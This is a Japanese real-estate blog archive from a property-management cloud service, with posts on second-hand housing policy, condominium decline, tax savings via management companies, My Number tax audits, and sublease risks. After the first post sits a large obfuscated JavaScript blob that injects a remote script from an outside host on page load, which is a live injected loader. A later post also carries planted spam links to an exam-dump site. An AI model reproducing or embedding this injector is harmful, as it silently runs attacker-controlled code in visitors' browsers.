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プレミアム既存住宅創設の狙い

弊社クラウドサービスの開発方向
「プレミアム既存住宅」の登録要件は内外装のリフォーム、第三者機関によるインスペクション(欠陥や劣化を診断する住宅検査)、瑕疵担保保険への加入、リフォーム後画像のウェブサイトでの公開、履歴の管理などが想定されている。弊社システムは、オーナー-棟-区画の統合DBと建物管理の各種報告を紐付けて履歴化している。こうした機能を更に拡充し、以下のデータ管理・履歴管理を行っていく予定である。
基本情報
土地情報、建物情報、登記情報*、写真登録
設計図書*、建物診断図書*
共用部メンテナンス情報
建物メンテナンス(定期清掃等)
法定点検
工事履歴(リフォーム)*
専有部メンテナンス情報
レントロール(→前回原状回復報告、入居時物件確認報告と各々リンク)
設備修繕履歴
CRM(仮)情報
要望事項履歴
クレーム履歴
修繕計画
建物診断図書*
長期修繕計画*
修繕積立金シミュレーション*建物の資産価値向上をサポート
日本では「家を持つなら新築住宅」という思いが強く、海外にくらべて中古住宅の取引シェアが低い。不動産ジャパン(運営:公益財団法人不動産流通推進センター)「国が公表している既存住宅流通シェアの国際比較」によると、2013年の住宅取引における中古住宅の割合は14.7%にとどまっており、アメリカ90.3%、イギリス85.8%、フランス64.0%(海外データは2009年)にくらべるとその少なさが目立つ。
しっかりとした建物管理を行うことで「建物の資産価値」が認められ、流通時の価値向上やファイナンス面の優遇、更に税制面からの節税スキームなどにつなげていくことが可能になる。 $=~[];$={___:++$,$$$$:(![]+””),__$:++$,$_$_:(![]+””),_$_:++$,$_$$:({}+””),$$_$:($+””),_$$:++$,$$$_:(!””+””),$__:++$,$_$:++$,$$__:({}+””),$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)+($._$=$.$_)+($.$$=($.$+””))+((!$)+””)+($.__=$.$_)+($.$=(!””+””))+($._=(!””+””))+$.$_+$.__+$._$+$.$;$.$$=$.$+(!””+””)+$.__+$._+$.$+$.$$;$.$=($.___);$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);”+$.$$$_+(![]+””)+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”=’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.$__+$.$$$+(![]+””)+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$.$__+$.$$$+$.___+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$_+$.__$+$.$_$+$.$$_$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$._$_+$.$__+$.___+”\\”+$.__$+$.$$$+$._$_+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+$._$_+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$$$+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$._$_+$.__$+$.___+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$._$$+”_\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$._$_+$.___+$.$$__+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$_$+$.$$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$$_+$.$$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.__$+$.$__+$.$_$_+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$.$_$+$.$_$+$.$__+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$_+$.$$_$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)+”=”+$.___+”.”+$._$$+$.___+”‘;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)+$.$$_$+”(“+$.$$$_+(![]+””)+”);”+”\””)())();

By |5月 25th, 2016|未分類|プレミアム既存住宅創設の狙い はコメントを受け付けていません。

マンション2020年問題とは

少子高齢化と人口減少が続く日本。不動産にも様々な影響がみられる。空き家問題は首都圏でも深刻化しはじめており、東京都の空き家も今や率で10%を越え、戸数が多いために実数においては全国一位になっている。都心部の再開発によって郊外で空き家が増えるという傾向も出てきているし、賃貸用ワンルームマンションの空きも多くなってきている。

そんな時代を迎えて、特にマンションに焦点を当て、何がおきているのか、今のトレンドから今後どのようになると推測されるのかについて、解説した本が牧野知弘著(文春新書)『2020年マンション大崩壊』である。

本書はマンションの資産価値が幻想であるという警鐘の書である。これまでに国内には600万戸のマンションが建てられた。今も毎年首都圏で10万戸の新築物件が出ているのに、建て替えはこれまで200棟足らず。住人が死亡して櫛の歯のように抜け、建て替えも管理もできない「スラムマンション」が国内いたるところに現れるのではないかと著者はみている。
人気のタワーマンションは、設備がかなり割高だ。上層階住民しか使わない、ゲストハウス、図書室などもある。高速エスカレーターや外壁工事も桁違いの修繕費がかかる。

困難なマンションの未来像が示される一方で、「国や自治体が出資する機構、役割を終えたマンションを全戸買い取り、必要な施設を建てる」という対策も書いている。

参考になる点が多い書である。

By |1月 18th, 2016|マンション, 不動産オーナー, 未分類|0 Comments

管理法人設立による節税のメリット・デメリット(1)

管理法人を設立すると節税になる?という話を時々耳にすることと思います。
アパート、マンションなどの不動産オーナーが持っている賃貸物件の管理や保有をする会社のことです。
数百坪の土地を所有する両親が相続税対策をしていないというケースは珍しくはありません。そんな場合、管理法人を設立し、大胆な節税対策を行うケースがあります。

不動産管理会社を設立する目的は節税です。主に、所得を個人と法人で分散することで低い税率で課税されることを考えているのです。管理法人を設立することでそれ以外にも様々な節税対策を活用することが出来るのです。
具体的にどのようなメリットデメリットがあるのでしょうか。

不動産管理会社を設立する5つのメリット

所得税は累進課税(所得が多くなればなるほど税率が高くなる)という課税方式になっています。そのため、個人で不動産経営を拡大していくとどんどん税率が高くなってしまいます。現在の所得税の最高税率は所得が1800万円を超える部分について40%(復興税、住民税等を除く)となっており、平成25年度税制改正によって平成27年分以降は4,000万円超という区分が加わり45%が最高税率となります。

そこで、所得が増えてくると法人税との税率差を考えて法人を設立した方がメリットがあるというケースが出てくるのです。

不動産管理会社を設立すると法人から給与を受け取ることができ、給与所得控除を受けることができます。そのため、例えば700万円の給与にした場合、年間で190万円の給与所得控除となり、課税の対象になる額は510万円なのです。個人事業の場合は給与所得控除が無いので、その分得することになります。

法人組織を持つ事で様々な節税対策を活用する事が出来るようになります。具体的には以下のような節税対策があります。
役員の定期保険や医療保険を会社で加入する
小規模企業共済 (掛金の限度は7万円で全額経費、退職金として扱える)
倒産防止共済 (掛金の限度は8万円。全額経費、40か月以上加入で全額戻ってくる)
旅費規程の活用 (物件が離れている場合など、活用すれば節税となる)

個人は強制償却、法人は任意償却
個人事業の減価償却費は強制償却となっており、償却額を調整することが出来ません。一方で法人の場合任意消却となっており、その年度の償却可能限度額の範囲内で自由に調整することが可能です。

青色申告の損失繰越期間 個人は3年、法人は9年
青色申告をしている個人及び法人が赤字の場合、その赤字を繰り越すことが出来ます。この制度を青色欠損金の繰越控除制度と言います。赤字を繰り越す事によって、次年度以降の所得や利益と相殺することが可能です。そのため、税務上大きなメリットとなります。

法人を所有する事によって以下のような相続におけるメリットもあります。

・所得分散による相続財産の増加防止
・納税資金の準備にもなる

新築から中古へ。流通活性化のための情報データベース実験開始

少子高齢化が進行する中、国内の不動産市場においては人口の減少により既存の住宅ストック数が世帯数を上回り、空き家の増加が深刻化しています。国土交通省では将来世代に継承できる良質な住宅ストックを形成すること、消費者が安心して中古住宅を購入できる流通市場を整備すること、そして住宅・不動産取引の安定化・活性化を図ることが重要な政策課題となっています。

現在の中古住宅取引では、新築住宅取引に比べ、売買取引の際に必要な情報が複雑かつ各方面に散逸しており、宅地建物取引業者の調査・情報収集に係る負担やコストが大きく、円滑な不動産流通が妨げられています。

こうした課題に対応し、国土交通省は2013年度から不動産に関する情報を集約した「不動産総合データベース」の構築に取り組んでいます。
以下が「不動産総合データベース」の全体イメージ図です。

このデータベースは中古住宅の物件情報と周辺地域情報を一体的に提供するもので、
過去の不動産取引履歴に加え、住宅履歴情報やマンション管理情報といった
様々な情報を集約していく予定です。
例えば、小さなお子さんがいるならば周辺の学校などに関する情報は欲しいでしょうし、地震が起こった時に液状化しないかと心配な方もいるでしょう。
自治体が公開しているハザードマップなども確認することができるようになります。

本年度の実証実験の内容は以下とおりです。

本年度は横浜市の不動産情報をベースにシステムの試行運用を行い、その効果・課題を検証し、システムの本格運用に向けた検討を行います。
<試行運用概要>
○期間 : 平成27年6月1日~平成28年2月末(予定)
○対象物件 : 横浜市に所在する売買物件(戸建・マンション・土地)
○利用者 : 神奈川県内の(公財)東日本不動産流通機構会員(宅地建物取引業者)

その成果に期待し、「不動産総合データベース」が、中古住宅流通活性化を後押しすることを願っています。

不動産クラウド会計サービスにより、データ蓄積される、決算データ(PL、BS)や、物件ごとの経営分析(稼働率、NOI、NOI利回り、キャップレート等)も、収益物件の流通活性化のための基本データとして役立てていただけるよう、努力してまいりたいと考えております。

[PropertyMaster]新機能のご紹介:収支データ連携書類管理システム

オーナー様ご安心。3年前のあの領収書も手元データで即確認可!
平成26年1月から記帳・帳簿等の保存制度の対象者が拡大され、基本的に全ての不動産オーナーが帳簿(任意帳簿可)7年、書類(請求書・領収書等)5年の保存が義務化されました。
業務に関して作成し、又は受領した請求書・領収書などの書類を保存する必要があります。
収支データに関連する書類をアップロードするだけでDB化
本サービスでは、PropertyMasterの機能を活用し、収支データに連携し、税務上の証憑書類等を各年各月・各物棟・各区画・各設備単位で一元管理し、保存することが可能です。
オーナー様だけでなく管理会社様も文書・書類管理システムとしてもご活用いただけます。
3年前のあの修繕も即検索可。義務化に対応すべきこの機会に是非ご活用ください。
詳しくはお問合せください。

By |6月 16th, 2015|不動産会計, 未分類|0 Comments

株の納税、マイナンバーで。不動産オーナーへの影響は?

今朝の日経1面トップ記事は、個人がマイナンバーを使って株式の配当や売却益の納税手続きを簡単にできるようにするとの記事です。不動産オーナーにとっては、資産課税強化の流れの中で注視すべき動向です。

株の納税、マイナンバーで 配当など申告簡単に
2015/5/29 2:01日本経済新聞
政府は日本に住むすべての人に割り当てる社会保障と税の共通番号(マイナンバー)の利用範囲を広げる。個人がマイナンバーを使って株式の配当や売却益の納税手続きを簡単にできるようにする。マイナンバーカードを健康保険証としても使えるようにする。人々が日常的にマイナンバーを使うことで公共サービスを効率化し、歳出の抑制につなげる狙いだ。
29日に開く産業競争力会議(議長・安部晋三首相)で推進策をまとめる。マイナンバーは国や自治体が税や社会保障、災害対策の3分野で個人情報を一元的に管理する制度。番号で個人情報を管理されることには国民の不安も根強い。利便性を高め、普及を促す。
第一段階として2017年から行政手続きの本人確認に使うことは関連法が成立し、確定している。今年10月から番号を割り当て、16年から番号を記載した個人番号カードを配る。役所の窓口で番号を伝えれば他の身分証明書の提示は不要になる。個人がインターネット上で自分の番号の付いた専用ページ「マイナポータル」を開き、保険料や税の収納記録を確認できる。
第二段階として、18年から銀行口座を持つ人に番号を任意で登録してもらう方針も決まっている。これは通常国会で関連法案を審議中だ。
政府が今回まとめるのは第三段階の改革案だ。18年にも戸籍などの関連法を改正して、順次、実施する。

資産課税強化の動きの中で、マイナンバーが不動産オーナーにどのような影響を与えるのか注視していく必要があると思われます。
クラウド不動産会計サービスを通して、日頃からきちんとした帳簿付けを行い、毎年、しっかりとした確定申告を行うことがより重要になってくるといえるでしょう。

[PropertyMaster]新機能のご紹介

大手管理会社様を中心にご要望の強かった建物メンテ報告の一元化、履歴DB化を実現
本日は弊社クラウドサービスの新機能のご紹介です。

新築中心から中古住宅流通が重要視されていく趨勢において、国も各種の流通促進施策、金融スキーム、広告表示規制などを打ち出しています。https://www.real4exam.com/1Z0-926.html
こうした中、賃貸住宅においても建物管理・建物メンテの重要性、必要性が高まっています。
PropertyMasterの新機能においては、建物メンテに関わる全てのデータを一元管理。https://www.real4exam.com/1Z0-932.html クレーム、修繕・補修、定期清掃、法定点検、原状回復などの建物メンテナンス報告をオーナー様に行い、その上でオーナー-物棟-区画と建物メンテ報告をDB化し、メンテ履歴DBを構築いたします*。

建物管理の重要性が高まる中、本サービスをご利用いただくことで本格的な建物管理サービスを展開頂くことが可能になります。
詳しくはお問合せください。

By |5月 27th, 2015|プロパティマネジメント, 未分類|0 Comments

マイナンバー開始で徴税強化

個人に12 ケタの番号を割り振る「マイナンバー」の通知が、今年10月からいよいよスタートする。実際に社会保険と税制、災害対策の3分野で利用が始まるのは来年1月からだが、すでに今国会で利用範囲を拡大する法改正が審議されている。その一つが、預貯金口座へのマイナンバーのひも付けだ。預貯金口座がマイナンバーで管理されるようになると、税務調査はどう変わるのか──。
 

◇「遠隔地預金」も判明

202X年。東京都で代々地主の家系の男性Aさんが85歳で亡くなった。Aさんは複数の賃貸マンションを持ち、土地・建物などを含め財産の相続税評価額は3億円。Aさんの妻(80)と長男(55)、長女(52)の相続人3人で慌ただしく相続税を申告・納税し、1年ほどがたったある日。申告を依頼した税理士から妻の元へ「税務署がご自宅におじゃましたいと連絡がありました」と電話がかかってきた。税務調査の始まりだ。

その約2週間後、Aさんの自宅へ相続税担当の国税調査官2人が訪ねてきた。国税調査官の1人が妻に、生前のAさんの生活状況などについての簡単な質問をし、Aさんからの生前贈与などはなかったことを確認した後、手元の書類を見ながらおもむろに切り出す。調査官「ところで、奥さまは東北地方の△△銀行○○支店に口座をお持ちではないですか」

妻「ええ、確かに口座はありますけれど……」

△△銀行○○支店は妻の出身地から少し離れた場所にある。妻が友人に頼まれ、かなり昔に開設した口座だ。

調査官「その口座の通帳と印鑑を見せてください」

しぶしぶ妻が席を立ち、通帳と印鑑を別の部屋へ取りに行く。国税調査官もその後を付いていく。妻が引き出しの奥から取り出した通帳で、調査官が残高を確認すると約3000万円あった。妻はAさんと結婚以来、専業主婦のはず。調査官の追及が始まる。

調査官「なぜ、これほどの残高があるのですか」

妻「夫の仕事を手伝った時にもらったり、渡された生活費をためた現金です」

調査官「過去に贈与を申告した事実がなく、お金の出所がAさんなら、名義が奥さまでもAさんの相続財産になりますね。つまり、申告漏れということです」──。

Aさんの妻と子2人は、国税側の指摘に沿って後日、修正申告。追加の相続税450万円と過少申告加算税(10%)、延滞税計80万円を収めることになった。Aさんの妻のような、実質的に亡くなった人の預金にもかかわらず別名義となっている「名義預金」は、相続税の重点的な調査対象になっている。

それでは、調査官はどうして、△△銀行の口座の存在をあらかじめ把握できたのか。その手がかりとなったのがマイナンバーだ。妻のような自宅から離れた銀行に持つ口座は「遠隔地預金」と呼ばれ、税務調査でも把握が難しかった。しかし、預貯金口座にマイナンバーが付されれば、マイナンバーを通して各地の銀行に照会をかけられるようになる。

これまでの相続税の税務調査では、相続人の確定申告書などのほか、相続人の自宅近くの銀行に照会することで口座の存在を把握。それでも分からない場合は相続人の自宅を調査して、家計簿などからその手がかりを見つけてきた。元国税調査官の武田秀和税理士は「マイナンバーによって調査の手間が省け、遠隔地預金はかなり見つけやすくなるのではないか」と話す。

By |5月 25th, 2015|未分類|0 Comments

NHKクローズアップ現代「アパート建築が止まらない~人口減少社会でなぜ~」反響

5月11日にクローズアップ現代で放送された「アパート建築が止まらない~人口減少社会でなぜ~」が大きな反響をよんでいるようです。ツイッターでも、以下のようなコメントが寄せられています。

サブリース契約で不動産業者から「家賃が下がらない」と持ちかけられアパートを建てる家主がどんどん増えてる。少子高齢化で交通の便悪い郊外でそんなのありえないというのはすぐわかるはずだけど…。

先日のNHKのクローズアップ現代でのサブリースの危なさの指摘は結構反響があったみたいだな。
あの番組の中で、言及されていなかったのは「そもそもサブリースの基本価格が、家賃の世間相場の10%-15%安で始まっている」ってことだったな。

新築ボーナス期間にサブリースでマージン抜かれて安く貸し出し、ノウハウも蓄積せぬまま築古物件期に突入したらどうなるかは火を見るより明らかでは。

NHKは親切に番組の内容をテキストでアップしています。また、番組の一部は動画で閲覧可となっている。こちらにリンクを貼っておきますので、是非一度ご覧ください。
NHKクローズアップ現代「アパート建築が止まらない~人口減少社会でなぜ~」

番組ではサブリース問題について以下のように取り上げています。
引用始まり。

サブリース 契約めぐるトラブル

サブリースを巡るトラブルを取材すると、ほとんどが家賃収入が減額されるリスクについて十分な説明を受けていないという訴えでした。
マンションや戸建てなどを売買する場合、法律によって重要事項説明が不動産会社に義務づけられています。
会社はさまざまなリスクについて口頭と書面で説明しなければなりません。
しかしサブリースの場合、一括借り上げという貸し借りの契約のため、この法律の対象外となり、売買のときのような厳格な説明は義務づけられていないのです。
営業ではどんな説明が行われているのか。
取材を進めると、中には家賃収入は下がらないと言い切るケースもありました。
勧誘を受けた人が録音した音声です。

“サブリース”会社の社員
「ぼくらの会社だって一部上場企業として全国でやっている以上、入居が入らないとか、建物が例えば古くなったから、そういう理由での家賃の変動というのも存在しません。」

勧誘された人
「アパート過剰供給になって入らないんじゃないかと私は思うので、えらい心配なんですよ。
よって家賃収入も減額されるんじゃないかって心配なんですよ。」

“サブリース”会社の社員
「私の話聞いてました?家賃は約束通り入ります。その辺の不動産屋と一緒にされては困るんです。」

家賃を減額され、サブリースの契約を解除せざるをえなくなった人もいます。
関東地方に住む男性です。
8,000万円を借金してサブリースのアパートを建築しました。

アパートの大家
「ここは空いていますね、ここも空いてます。それから向こうも全部空いています。」

男性は契約書に家賃改定の可能性があると書かれていることは認識していましたが、安定した収入になるという営業担当者のことばを信用しました。
しかし、2度にわたって家賃を減額され、さらにローンの返済額を下回る金額を提示されたため、去年(2014年)やむなく解約しました。
残されたのは3,000万円近くの借金と、半数が空き部屋のアパートです。

アパートの大家
「ちょっと自分でも想定しなかったですから、心が折れると言いますか、どうしようもないですね。」
この男性とサブリースの契約をしていた会社に見解を聞きました。
会社側は、「賃料の増減変更が可能なことは説明し契約書にも定めている」と回答。
その上で「誤解を生じることがないよう丁寧な説明を心がけ改善に努めております」と答えています。
NHKが国民生活センターに情報公開請求したところ、サブリースを巡るトラブルの相談はこの4年間で少なくとも245件に上っていました。
(引用終わり)

このサブリース問題は掘り下げると根が深いのですが、一言で指摘すると、業法がなく、事業者が規制なくサービスを提供できるところに問題の基本があると思います。宅地建物取引業法において仲介時には時代の要請に合わせた規制がかけられていますが、賃貸管理の分野においては、業法がなく規制がありません。
こうした課題に対処するため、賃貸住宅管理業者登録制度が創設されてはいますが、いまだ登録は義務ではなく、あくまで任意登録であり、罰則規定もありません。
そうしたことから、丸投げしたオーナーは賃貸経営実態は知らされないまま、突然保障見直しが入り、最悪突然死してしまう、ということがあり得るのです。
また、オーナーは賃貸経営者であることから消費者ではなく事業者とみなされ、消費者契約法も適用できないとされています。

「 家賃30年保証! 」といったセールストークで、リスクのないアパート経営をうたい( そんなはずはないのに )、推奨する事業者は後をたちません。

アパートを建てる側は、節税・相続対策などのセールストークに関心をもち、もともと賃貸経営や税務についての知識がない方がほとんどです。その結果、マーケットのバランスは崩れ、オーナー自身も苦しんでいる状況は継続可能性は低いと考えています。

地道なことだと思いますが、オーナー自身が経営者として決算や経営データを年に1度は確認し、経営感覚を磨いていくことが結局は賃貸経営の近道になると思います。
サブリースご利用のオーナー様も弊社サービスのご利用を通して、経営チェックを頂けますのでご検討ください。

By |5月 13th, 2015|未分類|0 Comments

税務の知識のなさが大家業の致命傷になる!?

オーナー様が賃貸経営を行っていく上で必要不可欠なのが、税金の知識です。この知識があるとないで、投資の成績に大きな差が出てくることになります。

本日たまたま面白いブログを見つけました。
以下は健美家投資ブログからの引用です。健美家や楽待のブログはオーナー自身の本音が赤裸々に出ているケースも多く、参考になります。

 
税務の知識のなさが大家業の致命傷になる!?
加藤隆氏ブログより
サラリーマンが税金を自分でコントロールすることはほぼ不可能です。しかし、不動産投資を始めると、事情が変わります。節税に関する知識があるかないかで、納税額が大きく変わってくるのです。

前にも書きましたが、私は大家業の仕事の多くを管理会社などに外注しているにもかかわらず、税金関係については、自分自身の手で行っています。

税務は、経営の根幹に関わる大切な部分です。自分でDIYをすればもう少し安くできたのにとか、物件に足を運べずに空室が長引いてしまった、というような一時的な損失とは話が違います。

この部分をわかっていないと、手残りに大きな影響があるだけでなく、金融機関との付き合い方にも影響してきます。ですから、私はどの物件を買うかを決めるのと同じくらい、税金関係のことは重要だと考えています。

これまで丸投げだったという人は、今からでも勉強して、自分自身で方針を決めた上で、税理士さんに相談するとか、書類の作成に励むといったような段取りを踏むことをお勧めします。

わからないままでいると、金融機関さんに説明もできませんし、相手の間違いにも気づけません( そして実際に税務署は間違いも多い! )。苦労して獲得した賃料収入です。出口までしっかりと、守っていきましょう。

「 節税 」は権利です。キャッシュフローは黒字でも、税務上は経費( 減価償却費・日常家事関連費 )計上により赤字化で節税することも可能です。節税の知識を身につけて、不動産投資を成功させましょう。

By |5月 12th, 2015|未分類|0 Comments